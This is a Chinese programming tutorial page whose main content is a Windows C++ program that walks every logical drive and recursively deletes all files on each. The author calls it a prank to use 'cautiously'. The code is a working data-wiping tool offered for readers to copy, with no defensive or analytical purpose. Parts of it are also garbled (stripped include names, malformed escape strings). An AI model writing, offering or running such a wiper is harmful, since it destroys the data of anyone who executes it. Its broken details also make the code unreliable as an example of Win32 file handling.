栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > C/C++/C#

基于Windows API实现遍历所有文件并删除的方法

C/C++/C# 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

基于Windows API实现遍历所有文件并删除的方法

本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include 
#include 
#include 
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//递归
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow// show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':',''};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述对大家的win32程序设计有所帮助。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/65214.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号